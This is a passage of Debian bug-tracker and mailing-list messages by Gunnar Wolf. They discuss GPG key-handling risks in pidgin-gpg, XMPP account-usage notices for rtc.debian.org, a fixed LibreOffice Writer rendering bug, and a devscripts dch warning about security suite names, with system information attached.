main means of identification for the project. And there are many "best
practices", not all of them we all follow (i.e. I'd like to use a
smartcard for my keys, but I don't), but we expect all parties to
excercise a minimum common degree of care.

So, we take care to avoid storing our key pairs in computers
directly-connected to the Internet. We avoid keeping the key material
in "live" memory besides their ephimeral use. And what I feel most
important in this regard: GPG keys use cases are usually restricted to
signing documents/items, not for encrypting whole communication
sessions.

That is, in order to send this mail, I will input my key
passphrase. And according to my mail client configuration, the key
passphrase will be forgotten after a 5 minute interval.

If I add pidgin-gpg to my Pidgin, I will (probably - Again, depends on
the details of implementation) have:

- Key material in memory for the whole duration of my Pidgin session
  (which in my case means "always")

- Together with its passphrase (if it aims at not being obnoxious and
  asking for it over and over and over and over)

- In a network-connected and network-activated program

- In a fine piece of software, but one that has not been audited for
  security and lists tens of security advisories for the last few
  years, some of them leading to information leaks:

  https://www.pidgin.im/news/security/

- And for an application that already has a strong, different model
  for session encryption, better suited for full-session handling:
  OTR.

So... If you believe I'm mistaken on this, please go ahead. But do
consider the liabilities this brings to our users!


signature.asc
Description: Digital signature

Bug#803396: [Debian-rtc-admin] Bug#803396: options for developers who don't want to use debian.org XMPP

[Gunnar Wolf]

Rhonda:

> Of course people could be concerned about that forward bot (which
> could even take care of replying) be facilitated as sort of a MITM
> attack pattern, so it might make sense to have people run such a bot
> themself on some host they trust.
>
> Not so sure about how this would work if it's more than just plain
> messages though, like OTR (which could be encapseled somehow) or
> other things like voice/video chat.

FWIW, if the user were to be transparently redirected from an
unused/unprefered $f...@rtc.debian.org to the DD's prefered contact,
this would be a problem. But, given that OTR has a session
establishment phase, what could be done is to auto-answer to any
incoming message with "DD $foo does not use their RTC account" or "DD
$foo prefers contact via their other XMPP account,
$f...@otherserver.info"

Bug#804725: rtc.debian.org: Provide some information regarding account usage

[Gunnar Wolf]

Package: rtc.debian.org
Severity: normal

Hi,

Given that all DDs now have several @rtc.debian.org communication
options (at least, SIP and XMPP), it should be useful to give some
indication as to whether said accounts are used at all — This bug can
be seen as complementing #803396, as I see two separate cases, one
where the DD in question never before used one of these services, one
where they use a different one.

Besides this, given this is within the realm of the possible with XMPP
(don't know about SIP), it could be useful to know if a person has
used the account recently or not (i.e. if I abandon my XMPP account
now, it will still be marked as "has been used", but the messages
won't reach me.

So I don't know, privacy-wise, how many options are we willing to
choose. Another option could be notifying the DD of connection
attempts — That is, after $grace_period days of not logging in to
XMPP, the server could mail my corresponding @debian.org address
notifying me there is a pending communication.

Or, or... ... ... :)

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.1.0-1-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Bug#796397: libreoffice-writer: renders incomplete pages when scrolling upwards with keyboard

[Gunnar Wolf]

Sorry, wrong BTS control syntax :-P Besides, you already marked it as
found in the version I currently have installed. Will update when I
update to the current version.

Bug#796397: libreoffice-writer: renders incomplete pages when scrolling upwards with keyboard

[Gunnar Wolf]

Control: fixed -1 libreoffice-writer/1:5.0.3~rc1-2

> Can you try to reproduce this in the current LibreOffice Writer from
> ‘sid’ and/or ‘jessie’? If the same behaviour occurs, please set this
> bug report's ‘found’ field for that version, otherwise the ‘fixed’
> field if you find the behaviour is correct.

I have upgraded to the current Sid version, and the bug is no longer
present.

Thanks!


signature.asc
Description: Digital signature

Bug#797084: dch: Update to correctly recognize the named -security suites

[Gunnar Wolf]

Package: devscripts
Version: 2.15.8
Severity: normal

When performing a security upload, I asked dch to mark the target
distribution as jessie-security, but got:

$ dch -D jessie-security
dch warning: Recognised distributions are: unstable, testing, stable,
oldstable, experimental, {testing-,stable-,oldstable-,}proposed-updates,
{testing,stable,oldstable}-security, wheezy-backports, jessie-backports and 
UNRELEASED.
Using your request anyway.
dch: Did you see that warning?  Press RETURN to continue...

Please note that this *was* the right behaviour, but #708290
incorporated this change in developers-reference (hence it should be
updated in our tools!)

Thanks,

-- Package-specific info:

--- /etc/devscripts.conf ---

--- ~/.devscripts ---
DEBSIGN_KEYID=C1DB921F
DEBCOMMIT_SIGN_COMMITS=yes

-- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.0.0-2-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages devscripts depends on:
ii  dpkg-dev 1.18.2
ii  libc62.19-19
ii  perl 5.20.2-6
ii  python3  3.4.3-4
pn  python3:any  none

Versions of packages devscripts recommends:
ii  at  3.1.16-1
ii  curl7.43.0-1
ii  dctrl-tools 2.24-1
ii  debian-keyring  2015.06.19
ii  dput0.9.6.4
ii  equivs  2.0.9
ii  fakeroot1.20.2-1
ii  file1:5.22+15-2
ii  gnupg   1.4.19-3
ii  libdistro-info-perl 0.14
ii  libencode-locale-perl   1.03-1
ii  libjson-perl2.90-1
ii  liblwp-protocol-https-perl  6.06-2
ii  libsoap-lite-perl   1.11-1
ii  liburi-perl 1.64-1
ii  libwww-perl 6.13-1
ii  lintian 2.5.34
ii  man-db  2.7.0.2-5
ii  patch   2.7.5-1
ii  patchutils  0.3.4-1
ii  python3-debian  0.1.27
ii  python3-magic   1:5.22+15-2
ii  sensible-utils  0.0.9
ii  strace  4.10-3
ii  unzip   6.0-17
ii  wdiff   1.2.2-1
ii  wget1.16.3-3
ii  xz-utils5.1.1alpha+20120614-2.1

Versions of packages devscripts suggests:
ii  bsd-mailx [mailx]8.1.2-0.20150408cvs-1
ii  build-essential  12.1
pn  cvs-buildpackage none
ii  debbindiff   28
pn  devscripts-elnone
pn  gnuplot  none
ii  gpgv 1.4.19-3
ii  libauthen-sasl-perl  2.1600-1
ii  libfile-desktopentry-perl0.12-1
ii  libnet-smtp-ssl-perl 1.01-3
pn  libterm-size-perlnone
ii  libtimedate-perl 2.3000-2
pn  libyaml-syck-perlnone
ii  mutt 1.5.23-3
ii  openssh-client [ssh-client]  1:6.7p1-6
pn  svn-buildpackage none
ii  w3m  0.5.3-23

-- no debconf information